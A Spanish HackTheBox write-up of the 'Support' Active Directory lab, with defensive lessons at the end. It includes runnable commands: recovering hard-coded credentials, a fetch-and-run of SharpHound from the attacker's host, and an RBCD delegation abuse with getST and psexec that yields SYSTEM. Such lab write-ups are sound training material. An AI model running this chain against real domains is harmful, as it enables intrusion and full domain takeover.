Support
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. Support es un Active Directory de dificultad fácil que se apoya en un binario .NET y en una ACL mal puesta. Un recurso SMB legible sin credenciales (support-tools) escondeUserInfo.exe; al abrirlo con dnSpy aparece la contraseña de la cuenta de servicioldap, con la que enumeramos LDAP y encontramos otra contraseña en el campoinfodel usuariosupport. Ese usuario entra por WinRM, y BloodHound revela que su grupoShared Support Accountstiene GenericAll sobre el propio Domain Controller. Con ese control montamos un RBCD: creamos una cuenta de máquina, la autorizamos a actuar en nombre de otros sobre el DC y pedimos un ticket impersonando aAdministrator, que nos da una shell como SYSTEM. Sin un solo CVE: reversing, una credencial filtrada en LDAP y un permiso de control total mal delegado.
Reconocimiento
Escaneo inicial
El ping vuelve con ttl=127, un salto por debajo del 128 típico de Windows, así que apunta a Windows (indicio, no prueba).
ping -c 1 10.10.11.174
PING 10.10.11.174 (10.10.11.174) 56(84) bytes of data.
64 bytes from 10.10.11.174: icmp_seq=1 ttl=127 time=110 ms
--- 10.10.11.174 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 109.823/109.823/109.823/0.000 msEl barrido UDP a los puertos más comunes encuentra el trío clásico de un controlador de dominio: DNS (53), Kerberos (88) y NTP (123).
nmap -sU --min-rate 5000 -Pn -n -vvv --open --top-ports 100 10.10.11.174 | grep -v 'no-response'
Discovered open port 53/udp on 10.10.11.174
Discovered open port 123/udp on 10.10.11.174
Discovered open port 88/udp on 10.10.11.174
PORT STATE SERVICE REASON
53/udp open domain udp-response ttl 127
88/udp open kerberos-sec udp-response ttl 127
123/udp open ntp udp-response ttl 127Ese trío ya es un diagnóstico: DNS y Kerberos juntos solo los sirve un controlador de dominio, y el NTP está ahí porque Kerberos depende de que los relojes vayan sincronizados (más de cinco minutos de desfase y los tickets se rechazan).
El escaneo TCP completo confirma el cuadro:
sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.10.11.174 -oG scan
Not shown: 65516 filtered tcp ports (no-response)
PORT STATE SERVICE REASON
53/tcp open domain syn-ack ttl 127
88/tcp open kerberos-sec syn-ack ttl 127
135/tcp open msrpc syn-ack ttl 127
139/tcp open netbios-ssn syn-ack ttl 127
389/tcp open ldap syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
464/tcp open kpasswd5 syn-ack ttl 127
593/tcp open http-rpc-epmap syn-ack ttl 127
636/tcp open ldapssl syn-ack ttl 127
3268/tcp open globalcatLDAP syn-ack ttl 127
3269/tcp open globalcatLDAPssl syn-ack ttl 127
5985/tcp open wsman syn-ack ttl 127
9389/tcp open adws syn-ack ttl 127
49664/tcp open unknown syn-ack ttl 127
49667/tcp open unknown syn-ack ttl 127
49674/tcp open unknown syn-ack ttl 127
49679/tcp open unknown syn-ack ttl 127
49699/tcp open unknown syn-ack ttl 127
49737/tcp open unknown syn-ack ttl 127Los 49xxx son los puertos dinámicos que el endpoint mapper (135) asigna a los servicios RPC, típicos de cualquier Windows y sin interés directo. extractPorts recoge la lista completa para el siguiente comando:
extractPorts scan
Extracting information ...
IP Address: 10.10.11.174
Open ports: 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49667,49674,49679,49699,49737
Ports copied to clipboardEl escaneo dirigido con detección de versión y scripts nos da, sobre todo, el nombre del dominio en el campo del servicio LDAP: support.htb.
nmap -p 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389 -sCV 10.10.11.174
PORT STATE SERVICE VERSION
53/tcp open domain (generic dns response: SERVFAIL)
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-10-26 20:29:22Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf .NET Message Framing
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windowsUna consulta rápida a SMB con netexec confirma el dominio y el nombre del equipo (DC), un Windows Server 2022 con firma SMB obligatoria.
netexec smb 10.10.11.174
SMB 10.10.11.174 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:support.htb) (signing:True) (SMBv1:False)Añadimos support.htb al /etc/hosts para que resuelva el nombre:
sudo nano /etc/hosts
cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali
10.10.11.174 support.htbDNS - TCP/UDP 53
Preguntamos al propio DC por los registros de su zona. El NS da el nombre del servidor de nombres y el MX no devuelve correo, pero sí el SOA, que confirma quién manda en la zona:
dig NS support.htb @10.10.11.174
dig MX support.htb @10.10.11.174
;; ANSWER SECTION:
support.htb. 3600 IN NS dc.support.htb.
;; ADDITIONAL SECTION:
dc.support.htb. 3600 IN A 10.10.11.174
;; AUTHORITY SECTION:
support.htb. 3600 IN SOA dc.support.htb. hostmaster.support.htb. 105 900 600 86400 3600Ese dc.support.htb hay que añadirlo también al /etc/hosts: varios ataques de Kerberos exigen el FQDN del controlador, no la IP, porque el ticket se pide para un nombre de servicio.

10.10.11.174 dc.support.htb support.htbCon el nombre de la zona en la mano, el intento obligado es la transferencia de zona: si el servidor la permite a cualquiera, entrega de golpe todos los registros internos.
dig axfr support.htb @10.10.11.174
; <<>> DiG 9.20.11-4+b1-Debian <<>> axfr support.htb @10.10.11.174
;; global options: +cmd
; Transfer failed.Transfer failed es la respuesta de un servidor bien configurado: solo replica hacia servidores autorizados. Se descarta la vía y se sigue por el resto de servicios, pero conviene probarla siempre porque cuando cuela es de las que más terreno regala.
Kerberos - TCP 88
Sin credenciales todavía, probamos a validar usuarios contra Kerberos con kerbrute (repo) y un diccionario de nombres de SecLists. Más allá de los típicos guest/administrator, aparece un nombre que no es genérico y que además coincide con el de la máquina: support.
kerbrute userenum -d support.htb --dc 10.10.11.174 xato-net-10-million-usernames.txt
[+] VALID USERNAME: support@support.htb
[+] VALID USERNAME: guest@support.htb
[+] VALID USERNAME: administrator@support.htb
[+] VALID USERNAME: Administrator@support.htbSMB - TCP 445
El primer intento de listar recursos compartidos con netexec y una sesión nula no llega a ninguna parte:
netexec smb 10.10.11.174 -u '' -p '' --shares
SMB 10.10.11.174 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:support.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.174 445 DC [+] support.htb\:
SMB 10.10.11.174 445 DC [-] Error enumerating shares: STATUS_ACCESS_DENIEDEl [+] confirma que la sesión nula se acepta, pero la enumeración devuelve STATUS_ACCESS_DENIED. A veces una herramienta falla donde otra acierta, así que se repite con smbmap, que consulta el mismo servicio por otra vía:
smbmap -H 10.10.11.174 -u none
[+] IP: 10.10.11.174:445 Name: dc.support.htb Status: Authenticated
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
IPC$ READ ONLY Remote IPC
NETLOGON NO ACCESS Logon server share
support-tools READ ONLY support staff tools
SYSVOL NO ACCESS Logon server shareDentro hay utilidades conocidas (PuTTY, Wireshark, Sysinternals) y un archivo que desentona: UserInfo.exe.zip. Lo descargamos para analizarlo, aunque analizarlo bien exige un rodeo: es un binario de Windows y el descompilador que lo abre, dnSpy, también lo es. Hace falta una máquina Windows.
smbclient //10.10.11.174/support-tools -N
smb: \> dir
7-ZipPortable_21.07.paf.exe A 2880728 Sat May 28 13:19:19 2022
npp.8.4.1.portable.x64.zip A 5439245 Sat May 28 13:19:55 2022
putty.exe A 1273576 Sat May 28 13:20:06 2022
SysinternalsSuite.zip A 48102161 Sat May 28 13:19:31 2022
UserInfo.exe.zip A 277499 Wed Jul 20 19:01:07 2022
windirstat1_1_2_setup.exe A 79171 Sat May 28 13:20:17 2022
WiresharkPortable64_3.6.5.paf.exe A 44398000 Sat May 28 13:19:43 2022
smb: \> get UserInfo.exe.zipAcceso como ldap
Preparar el laboratorio: un Windows con acceso a la máquina
El binario se pasa a un Windows 10 propio sirviéndolo por HTTP desde el atacante:
python3 -m http.server 80

Directory listing for /
UserInfo.exe.zip 271 KBAquí aparece el detalle que casi nadie documenta y que sin embargo decide si el análisis sirve para algo: UserInfo.exe no es un binario autónomo, es un cliente LDAP. Para que su ejecución llegue a algún sitio, la máquina que lo corre tiene que ver al controlador de dominio, es decir, tiene que estar dentro de la VPN. Así que la VPN se muda al Windows: se sirve el .ovpn igual que el binario.
locate .ovpn
cp /home/krmena/htb.ovpn .
python3 -m http.server 80
/home/krmena/htb.ovpn
/home/krmena/thm.ovpn
Antes de conectar hay que cerrar la VPN del atacante, porque el mismo perfil no admite dos sesiones simultáneas: la segunda expulsa a la primera.
ps -faux | grep openvpn
kill -9 2142
root 2142 0.1 0.1 16260 11148 pts/1 SN 11:48 0:14 \_ openvpn /home/krmena/htb.ovpnEl cliente OpenVPN Connect se baja de la web oficial y se instala:

https://openvpn.net/client/
Download .msi -> openvpn-connect-3.8.0.4528_signed.msi
Available for: Windows 10, and ...Una vez instalado se le pasa el .ovpn descargado:

Have a configuration file instead (.ovpn)? -> Upload FileCon la VPN levantada hay conectividad por IP, pero no por nombre: el Windows no conoce support.htb. Se edita su fichero hosts, que exige un cmd elevado:

notepad C:\Windows\System32\drivers\etc\hosts
10.10.11.174 dc.support.htb support.htbLa comprobación cierra el montaje:
ping support.htb
Haciendo ping a dc.support.htb [10.10.11.174] con 32 bytes de datos:
Respuesta desde 10.10.11.174: bytes=32 tiempo=110ms TTL=127
Paquetes: enviados = 4, recibidos = 4, perdidos = 0 (0% perdidos)Reversing de UserInfo.exe con dnSpy
UserInfo.exe es un binario .NET, así que hace falta un descompilador que entienda CIL. dnSpy se baja de sus releases, eligiendo la variante de 64 bits:

dnSpy / dnSpy Releases / v6.1.8
Assets (5)
dnSpy-net-win32.zip 75.8 MB
dnSpy-net-win64.zip 81.8 MB
dnSpy-netframework.zip 22.6 MB

El binario también viene comprimido:

Y se abre desde Archivo → Abrir. El ZIP no traía solo el ejecutable, sino todo su árbol de dependencias, que ya adelanta de qué va el programa:

CommandLineParser.dll
Microsoft.Bcl.AsyncInterfaces.dll
Microsoft.Extensions.DependencyInjection.dll
Microsoft.Extensions.Logging.Abstractions.dll
System.Buffers.dll
System.Memory.dll
UserInfo AplicaciónAntes de leer el código conviene ver qué pide el programa, porque el depurador necesitará esos mismos argumentos:
.\UserInfo.exe find -first * -last *
[-] At least one of -first or -last is required.
.\UserInfo.exe find -first * -last *
raven.clifton
anderson.damian
monroe.david
cromwell.gerard
...La pregunta interesante es con qué credenciales hace esa consulta. Recorriendo el árbol de clases en dnSpy, la respuesta está en UserInfo.Services.LdapQuery:

namespace UserInfo.Services
{
internal class LdapQuery
{
public LdapQuery()
{
string password = Protected.getPassword();
this.entry = new DirectoryEntry("LDAP://support.htb", "support\\ldap", password);
this.entry.AuthenticationType = AuthenticationTypes.Secure;
this.ds = new DirectorySearcher(this.entry);
}El usuario es support\ldap y la contraseña sale de Protected.getPassword(). Esa clase también está en el árbol:

internal class Protected
{
public static string getPassword()
{
byte[] array = Convert.FromBase64String(Protected.enc_password);
byte[] array2 = array;
for (int i = 0; i < array.Length; i++)
{
array2[i] = (array[i] ^ Protected.key[i % Protected.key.Length] ^ 223);
}
return Encoding.Default.GetString(array2);
}
private static string enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWNyuPsyO76/Y+U193E";
private static byte[] key = Encoding.ASCII.GetBytes("armando");
}Ahí está todo: la contraseña viaja en base64 y cifrada con un XOR doble, primero contra la clave armando repetida y luego contra la constante 223. Se podría reimplementar en tres líneas de Python, pero hay un atajo más limpio y que no se equivoca: dejar que el propio programa la descifre y mirarla en memoria. Para eso se pone un breakpoint en la línea donde se asigna:

Con el punto de interrupción puesto, se lanza el depurador:

dnSpy pide los argumentos con los que arrancar el programa, y aquí es donde sirve haberlo ejecutado antes en el cmd: son los mismos find -first * -last *.

Motor del Depurador : .NET Framework
Ejecutable : C:\Users\usuario\Downloads\UserInfo.exe\UserInfo.exe
Argumentos : find -first * -last *La ejecución se detiene en el breakpoint, pero la variable todavía no vale nada, porque el depurador para antes de ejecutar esa línea:

Nombre Valor Tipo
password null stringBasta avanzar un paso (F10) para que la asignación se complete y el valor descifrado aparezca:

Tenemos así las credenciales de la cuenta de servicio: ldap : nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz.
Shell como support
LDAP: la contraseña en el campo info
Con la cuenta ldap ya podemos autenticarnos contra LDAP. Filtrando por sAMAccountName recuperamos todos los objetos del dominio:
ldapsearch -x -H ldap://10.10.11.174 -D 'ldap@support.htb' \
-w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=SUPPORT,DC=HTB" | grep -iE 'samaccountname'
sAMAccountName: Administrator
sAMAccountName: Guest
sAMAccountName: Remote Management Users
sAMAccountName: DC$
sAMAccountName: krbtgt
sAMAccountName: Domain Admins
sAMAccountName: DnsAdmins
sAMAccountName: Shared Support Accounts
sAMAccountName: ldap
sAMAccountName: support
sAMAccountName: smith.rosario
sAMAccountName: hernandez.stanleyLa mayoría son grupos integrados de Windows, pero dos nombres no lo son: la propia cuenta ldap que acabamos de usar y support, que además ya había salido en la enumeración de Kerberos. Al enumerar ese objeto en detalle aparece algo que un administrador no debería dejar ahí: una contraseña en el atributo info.
ldapsearch -x -H ldap://10.10.11.174 -D 'ldap@support.htb' \
-w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=support,DC=htb" \
'(sAMAccountName=support)'
info: Ironside47pleasure40Watchful
memberOf: CN=Shared Support Accounts,CN=Users,DC=support,DC=htb
memberOf: CN=Remote Management Users,CN=Builtin,DC=support,DC=htb
sAMAccountName: supportDos detalles del propio volcado ya anticipan el resto de la caja: support pertenece a Remote Management Users (puede entrar por WinRM) y a un grupo nada estándar, Shared Support Accounts.
Validar y entrar por WinRM
Antes de lanzar la shell, validamos la credencial en los servicios con netexec. Funciona en SMB y, lo importante, devuelve (Pwn3d!) en WinRM, lo que confirma acceso interactivo.
netexec smb 10.10.11.174 -u support -p 'Ironside47pleasure40Watchful'
netexec winrm 10.10.11.174 -u support -p 'Ironside47pleasure40Watchful'
SMB 10.10.11.174 445 DC [+] support.htb\support:Ironside47pleasure40Watchful
WINRM 10.10.11.174 5985 DC [+] support.htb\support:Ironside47pleasure40Watchful (Pwn3d!)evil-winrm -i 10.10.11.174 -u support -p 'Ironside47pleasure40Watchful'
Evil-WinRM shell v3.7
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\support\Documents> whoami
support\supportLa conexión abre una PowerShell interactiva y whoami confirma que estamos como support\support.
user.txt
type ..\Desktop\user.txt
2b3d89ca1b2e3989fa1ca335a2e8ceb5Antes de pivotar, miramos los privilegios y grupos del token. No hay privilegios peligrosos clásicos, pero sí dos pistas: SeMachineAccountPrivilege está habilitado (podremos crear cuentas de máquina, clave para el RBCD) y vuelve a aparecer el grupo Shared Support Accounts.
whoami /all
USER INFORMATION
User Name SID
support\support S-1-5-21-1677581083-3380853377-188903654-1105
GROUP INFORMATION
Group Name Type SID
BUILTIN\Remote Management Users Alias S-1-5-32-580
SUPPORT\Shared Support Accounts Group S-1-5-21-1677581083-3380853377-188903654-1103
...
PRIVILEGES INFORMATION
Privilege Name Description State
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set EnabledSe confirman las dos pistas: support pertenece a SUPPORT\Shared Support Accounts y tiene SeMachineAccountPrivilege habilitado (puede unir cuentas de máquina al dominio, la pieza del RBCD).
BloodHound
Recogemos los datos del dominio con SharpHound (repo). El colector se carga en memoria directamente desde el atacante, sin tocar el disco de la víctima:
wget https://raw.githubusercontent.com/puckiestyle/powershell/refs/heads/master/SharpHound.ps1
python3 -m http.server 80IEX(New-object Net.WebClient).downloadString('http://10.10.16.6/SharpHound.ps1')
10.10.11.174 - - [27/Oct/2025 16:17:07] "GET /SharpHound.ps1 HTTP/1.1" 200 -Invoke-BloodHound -CollectionMethod All
dir
download 20251027082120_BloodHound.zip
Directory: C:\Users\support\Desktop
-a--- 10/27/2025 8:21 AM 9953 20251027082120_BloodHound.zip
-ar-- 10/26/2025 5:30 AM 34 user.txt
Info: Downloading C:\Users\support\Desktop\20251027082120_BloodHound.zip
Info: Download successful!Del lado del atacante, BloodHound arrastra un requisito que suele dar guerra: la versión de Java. La interfaz clásica no funciona con la 21 que trae Kali por defecto, así que se cambia a la 11:
update-alternatives --config java
There are 2 choices for the alternative java (providing /usr/bin/java).
Selection Path Priority Status
* 0 /usr/lib/jvm/java-21-openjdk-amd64/bin/java 2111 auto mode
1 /usr/lib/jvm/java-11-openjdk-amd64/bin/java 1111 manual mode
update-alternatives: using /usr/lib/jvm/java-11-openjdk-amd64/bin/java to provide /usr/bin/java (java) in manual modeCon eso arrancan las dos piezas: la base de datos neo4j y la interfaz.
./BloodHound --disable-gpu --no-sandbox
./neo4j console
Starting Neo4j.
2025-10-27 15:31:25.078+0000 INFO Starting...
2025-10-27 15:31:27.833+0000 INFO This instance is ServerId{77239015}
Ya dentro, el .zip recogido se carga con la opcion Upload Data de la barra lateral:

Upload Data
20251027082120_BloodHound.zip 10.0 kB Archive
SharpHound.ps1 973.3 kB ProgramLa herramienta lo descomprime e interpreta fichero a fichero:

UNZIPPING FILE 20251027082120_BLOODHOUND.ZIP
20251027082120_groups.json Upload Complete 100%
20251027082120_users.json Uploading Data
20251027082120_gpos.json Waiting for uploadAntes de analizar nada conviene marcar como owned lo que ya se controla, porque BloodHound usa esa marca para calcular rutas desde lo que tenemos hasta lo que queremos:

Revisamos sus pertenencias: además de Remote Management Users y Domain Users, está en Shared Support Accounts.

Shared Support Accounts: GenericAll sobre el DC
Aquí está el porqué del pivote, y lo vemos antes de tocar nada: el grupo Shared Support Accounts tiene GenericAll sobre el objeto DC.SUPPORT.HTB, el propio controlador de dominio.

GenericAll (control total) sobre un objeto es un caso directo de abuso de ACLs. La propia herramienta lo explica en su pestaña de ayuda:

The members of the group SHARED SUPPORT ACCOUNTS@SUPPORT.HTB have GenericAll privileges to the
computer DC.SUPPORT.HTB.
This is also known as full control. This privilege allows the trustee to manipulate the target
object however they wish.Y la pestaña de abuso señala la vía cuando el objeto es un equipo: una delegación restringida basada en recursos (RBCD).

Shell como SYSTEM
RBCD: de GenericAll a impersonar Administrator
El plan del RBCD: como controlamos el objeto del DC, escribimos en su atributo msDS-AllowedToActOnBehalfOfOtherIdentity el SID de una cuenta de máquina nuestra. A partir de ahí, el KDC nos dejará pedir tickets de servicio en nombre de cualquier usuario contra ese DC.
El procedimiento concreto no se toma de BloodHound sino de HackTricks, que lo detalla comando a comando:

Active Directory Methodology » Resourced-based Constrain Delegation [Book]
Having WRITE privilege on an Active Directory object of a remote computer enables the attainment of
code execution with elevated privileges: Resource-based Constrained Delegation
# Creating a Computer Object (using powermad)
import-module powermad
New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' ...)
Get-DomainComputer SERVICEA
# Configuring RBCD (using powerview)
$ComputerSid = Get-DomainComputer FAKECOMPUTER -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;C..."
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer $targetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfof...'}Hacen falta dos scripts. Powermad aporta el New-MachineAccount que crea la cuenta de máquina:
wget https://raw.githubusercontent.com/Kevin-Robertson/Powermad/refs/heads/master/Powermad.ps1upload Powermad.ps1
Import-Module .\Powermad.ps1
Info: Uploading /home/krmena/machines/support/exploits/Powermad.ps1 to C:\Users\support\Desktop\Powermad.ps1
Data: 180768 bytes of 180768 bytes copied
Info: Upload successful!
PowerView (repo) aporta el resto: es un conjunto de cmdlets para consultar y modificar Active Directory sin las herramientas administrativas oficiales.
wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/refs/heads/master/Recon/PowerView.ps1upload PowerView.ps1
Import-Module .\PowerView.ps1
--2025-10-27 17:44:49-- https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/refs/heads/master/Recon/PowerView.ps1
Connecting to raw.githubusercontent.com|2606:50c0:8001::154|:443 ... connected.
HTTP request sent, awaiting response ... 200 OK
Length: 770279 (752K) [text/plain]
Saving to: 'PowerView.ps1'
2025-10-27 17:44:50 (7.69 MB/s) - 'PowerView.ps1' saved [770279/770279]
*Evil-WinRM* PS C:\Users\support\Desktop> upload PowerView.ps1
Info: Uploading /home/krmena/machines/support/exploits/PowerView.ps1 to C:\Users\support\Desktop\PowerView.ps1
Data: 1027036 bytes of 1027036 bytes copied
Info: Upload successful!
Los dos Import-Module no devuelven nada, que es exactamente lo que se espera: en PowerShell, cargar un módulo sin errores no imprime salida, y cualquier línea roja habría significado que el script no cargó.
Con ambos cargados se ejecuta la cadena: creamos la cuenta de máquina SERVICEA$, obtenemos su SID, construimos el descriptor de seguridad y lo escribimos en el DC. La consulta final del atributo lo confirma ({1, 0, 4, 128 ... }), es decir, la delegación quedó configurada.
New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force)
$ComputerSid = Get-DomainComputer SERVICEA -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer dc | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
Get-DomainComputer dc -Properties 'msds-allowedtoactonbehalfofotheridentity'
[+] Machine account SERVICEA added
msds-allowedtoactonbehalfofotheridentity
----------------------------------------
{1, 0, 4, 128 ... }getST + psexec
Con la delegación puesta, pedimos un ticket de servicio para cifs/dc.support.htb impersonando a Administrator mediante la cuenta SERVICEA$ (S4U2Self + S4U2Proxy). Guardamos el ticket en la caché de credenciales y lo usamos con psexec.py -k, que nos abre una shell como SYSTEM.
getST.py -spn cifs/dc.support.htb -impersonate Administrator -dc-ip 10.10.11.174 support.htb/SERVICEA$:123456
export KRB5CCNAME=Administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache
psexec.py -k dc.support.htb
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache
...
[*] Found writable share ADMIN$
[*] Opening SVCManager on dc.support.htb.....
Microsoft Windows [Version 10.0.20348.859]
C:\Windows\system32> whoami
nt authority\systemLa comprobación en la propia shell no deja lugar a dudas:
whoami
ipconfig
C:\Windows\system32> whoami
nt authority\system
C:\Windows\system32> ipconfig
Ethernet adapter Ethernet0:
IPv4 Address. . . . . . . . . . . : 10.10.11.174
Subnet Mask . . . . . . . . . . . : 255.255.254.0
Default Gateway . . . . . . . . . : 10.10.10.2root.txt
type C:\Users\Administrator\Desktop\root.txt
9f2882745e7a2005a63cc41a6d34e86dDominio comprometido. Máquina rooteada.
Cadena de ataque
Todo el recorrido, del recurso SMB anónimo a la shell como SYSTEM, en un vistazo:
SMB support-tools (anónimo) ─► UserInfo.exe
│ dnSpy (breakpoint en LdapQuery)
▼
cuenta de servicio "ldap"
│ ldapsearch ─► campo info del usuario support
▼
support (Remote Management Users)
│ WinRM (evil-winrm) ─► user.txt
▼
BloodHound: Shared Support Accounts ──GenericAll──► DC.SUPPORT.HTB
│ RBCD: New-MachineAccount + msDS-AllowedToActOnBehalfOfOtherIdentity
▼
getST -impersonate Administrator ─► psexec -k ─► SYSTEM (root.txt)Lecciones aprendidas
- Un binario en un recurso compartido es código que regalas al atacante.
UserInfo.exeera un ejecutable .NET legible sin credenciales; con dnSpy se lee como si tuviéramos el fuente, y un breakpoint evita siquiera tener que entender la ofuscación de la contraseña. Las credenciales no deben vivir embebidas en binarios, y menos en un recurso accesible de forma anónima. - El campo
info(y otros atributos de texto libre de AD) no es un lugar seguro. Cualquier cuenta que pueda leer LDAP ve esos campos. La contraseña desupportestaba ahí a la vista; los atributos descriptivos se filtran con la enumeración más básica. GenericAllsobre un equipo es control del equipo, no "un permiso más". Sobre el objeto de un Domain Controller habilita un RBCD que termina en impersonación deAdministrator. Esos derechos de control total deberían estar muy restringidos, y desde luego no delegados a un grupo de soporte.- RBCD se apoya en dos descuidos combinados. Que un usuario normal pueda crear cuentas de máquina (
MachineAccountQuotapor defecto a 10) y que pueda escribirmsDS-AllowedToActOnBehalfOfOtherIdentityen un objeto sensible. Poner la cuota a 0 y controlar quién escribe ese atributo corta la técnica de raíz.